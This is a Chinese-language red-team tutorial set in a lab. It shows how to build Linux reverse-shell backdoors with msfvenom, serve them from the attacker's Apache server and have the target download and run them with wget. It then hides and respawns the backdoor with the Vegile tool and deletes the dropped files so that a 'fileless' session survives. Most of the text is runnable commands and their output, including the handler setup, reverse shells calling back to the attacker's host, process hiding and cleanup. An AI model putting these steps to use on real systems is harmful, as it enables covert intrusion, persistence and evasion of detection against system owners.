首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >红队/白帽必经之路(22)——实战之如何通过Metasploit 及Vegile 维吉尔工具制作Linux无文件木马程序root down[既然是红队,那就对自己狠一点]

红队/白帽必经之路(22)——实战之如何通过Metasploit 及Vegile 维吉尔工具制作Linux无文件木马程序root down[既然是红队,那就对自己狠一点]

作者头像
盛透侧视攻城狮
发布2024-12-25 09:26:02
发布2024-12-25 09:26:02
4370
举报

1.实战-Linux 无文件木马程序

1.1环境准备

  • Kali:192.168.1.53
  • Centos:192.168.1.63
  • 按照之前学习的方法生成一个恶意文件让目标系统执行来获取 shell
代码语言:javascript
复制
                                                                                                           ┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=8080 -b "\x00" -f elf -o /var/www/html/xuegod-backdoor
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod-backdoor
ffaaff7e851945aca4dcdc46b3bbc616.png
ffaaff7e851945aca4dcdc46b3bbc616.png
60e41eed520745c6a0f619d541c14e4d.gif
60e41eed520745c6a0f619d541c14e4d.gif
再生成一个用来隐藏执行的后门

补充:

  • ghost 是什么意思? 还原系统?
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod-ghost                                             
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod-ghost
9fa0c277988b46b284e20f2ddb2a9157.png
9fa0c277988b46b284e20f2ddb2a9157.png

1.2启动 apache

代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  systemctl start apache2
                                                                                                                 
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# systemctl enable apache2   #设置开机启动,
Synchronizing state of apache2.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable apache2
Created symlink '/etc/systemd/system/multi-user.target.wants/apache2.service' → '/usr/lib/systemd/system/apache2.service'.
                                                                                                                 
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  systemctl is-enabled apache2
enabled
f6410f1d1af94531be734af87dd52594.png
f6410f1d1af94531be734af87dd52594.png
上传 Vegile 维吉尔工具到网站目录下方便 centos 下载
  1. ./Vegile --i 隐藏你的后门
  2. ./Vegile --u 无限复制你的 metasploit 会话,即使他被 kill,依然可以再次运行

注意:

  • 木马一定要放在 Vegile 目录下
  • Vegile 一般用于维持 meterpreter 会话
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  cd /var/www/html/
                                                                                                                 
┌──(root㉿kali-2024)-[/var/www/html]
└─# rz                   
e18369e53ee14b39985dba37a787ca53.png
e18369e53ee14b39985dba37a787ca53.png
3a6b8ea2bc954e08b7fecef472b70204.gif
3a6b8ea2bc954e08b7fecef472b70204.gif

1.3获取 Linux 系统的 shell

MSF 配置监听
代码语言:javascript
复制
msf6 exploit(windows/smb/psexec) > back
msf6 >  use exploit/multi/handler
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 8080  #改成8080,防止和上面实验的 4444 端
口冲突
LPORT => 8080
msf6 exploit(multi/handler) >  exploit -j  #在后台运行 handler,发现现在并没有 session,
因为客户端还没有执行
de96b7c1904e4707a1e9b3c67c555851.png
de96b7c1904e4707a1e9b3c67c555851.png

  • 到 centos 操作系统下载执行文件来建立 session,为了模拟实战效果隐藏行为通过该 session进行操作
先安装下载工具
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/var/www/html]
└─# wget 192.168.1.53/xuegod-backdoor
添加执行权限
代码语言:javascript
复制
┌──(root㉿kali-2024)-[/var/www/html]
└─# chmod +x xuegod-backdoor     
12c2b1c5c7d84d8b8344d11e9eb6f3cb.gif
12c2b1c5c7d84d8b8344d11e9eb6f3cb.gif

执行完成后获取到 session

代码语言:javascript
复制
┌──(root㉿kali-2024)-[/var/www/html]
└─# ./xuegod-backdoor    
使用 sessionID 连接 centos
代码语言:javascript
复制
msf6 exploit(multi/handler) >  sessions -i 2

参数详解

  • -i <opt> Interact with the supplied session ID

注意:

  • 这个 payload 中的 shell 是没有 bash 提示符的
8b061756d2394c5aac4a81d53bcda5b2.png
8b061756d2394c5aac4a81d53bcda5b2.png
扩展:
  • 如何查看我们当前进程的名字和 PID?
代码语言:javascript
复制
查看网络连接状态:

netstat -antup | grep 8080
c1440b83fa6c4b77a0ce6590709276f1.png
c1440b83fa6c4b77a0ce6590709276f1.png
  • 可以看到我们的 pid 是 2406
代码语言:javascript
复制
ps -aux | grep 2406
630c2ddd2be4427abf1877bc276d5cff.png
630c2ddd2be4427abf1877bc276d5cff.png
  • 查看 IP 地址,发现找不到
cc50fcd78fa54b37b891b8ae82ae71c6.png
cc50fcd78fa54b37b891b8ae82ae71c6.png
  • 但是可以可以使用绝对路径
cb058205253d4b068d48d4b24fae4858.png
cb058205253d4b068d48d4b24fae4858.png

注意:

  • 上图的 session 要保持连接,先不要断开!后期面要使用到
4aa0a40075d14d8598117aa1f3537364.gif
4aa0a40075d14d8598117aa1f3537364.gif

1.4创建无文件后门程序

补充:
  • 新建终端窗口,MSF 控制台可以启动多个互不影响
代码语言:javascript
复制
[-] Parse error: Unmatched quote: "' use exploit/multi/handler"
msf6 > use exploit/multi/handler
[*] Using configured payload linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) >  set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit -j
回到前面建立的 session 中下载用于隐藏进程的工具
代码语言:javascript
复制
wget 192.168.1.53/Vegile-master.zip
a61e1879064a4f458486ec5d921dbee0.png
a61e1879064a4f458486ec5d921dbee0.png
解压+cd+x
代码语言:javascript
复制
unzip Vegile-master.zip

cd Vegile-master

chmod +x Vegile
下载用于隐藏执行的后门程序+x
代码语言:javascript
复制
wget 192.168.1.53/xuegod-ghost

chmod +x xuegod-ghost
隐藏执行后门程序
f6326216071241c1a7f60242d52be3ee.png
f6326216071241c1a7f60242d52be3ee.png
  • 这里是退出 Vegile,不是退出当前的 session。
回到另一个 MSF 控制台查看 session
4ac1ac8fd8964145bf1cd6119d04b413.png
4ac1ac8fd8964145bf1cd6119d04b413.png
  • 目标端口为 52038
查看一下我们注入到了哪个进程
代码语言:javascript
复制
msf6 exploit(multi/handler) >  sessions -i 3
e401edc5c06444d4ba42d1d46835f1f9.png
e401edc5c06444d4ba42d1d46835f1f9.png
  • 同样是一个 sh 进程
108ef15f75c144e7a4da4dde98ca8f50.gif
108ef15f75c144e7a4da4dde98ca8f50.gif
删除我们下载的所有文件
代码语言:javascript
复制
rm -rf /root/Vegile-maste

如遇到错误提示:

代码语言:javascript
复制
ERROR: ld.so: object '/usr/local/lib/libprocesshider.so' from/etc/ld.so.preload cannot be preloaded: ignored.

解决方法:

代码语言:javascript
复制
echo "" > /etc/ld.so.preload # 64 位系统没有这个文件导致报错
注意:
  • 删除时,也会把 xuegod-ghost 这个后门程序删除了。
  • 虽然文件被删除了,但会话,还是建立着了。
  • 删除我们所有文件之后程序依旧正常执行
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.实战-Linux 无文件木马程序
    • 1.1环境准备
      • 再生成一个用来隐藏执行的后门
    • 1.2启动 apache
      • 上传 Vegile 维吉尔工具到网站目录下方便 centos 下载
    • 1.3获取 Linux 系统的 shell
      • MSF 配置监听
      • 先安装下载工具
      • 添加执行权限
      • 使用 sessionID 连接 centos
      • 扩展:
    • 1.4创建无文件后门程序
      • 补充:
      • 回到前面建立的 session 中下载用于隐藏进程的工具
      • 解压+cd+x
      • 下载用于隐藏执行的后门程序+x
      • 隐藏执行后门程序
      • 回到另一个 MSF 控制台查看 session
      • 查看一下我们注入到了哪个进程
      • 删除我们下载的所有文件
      • 注意:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档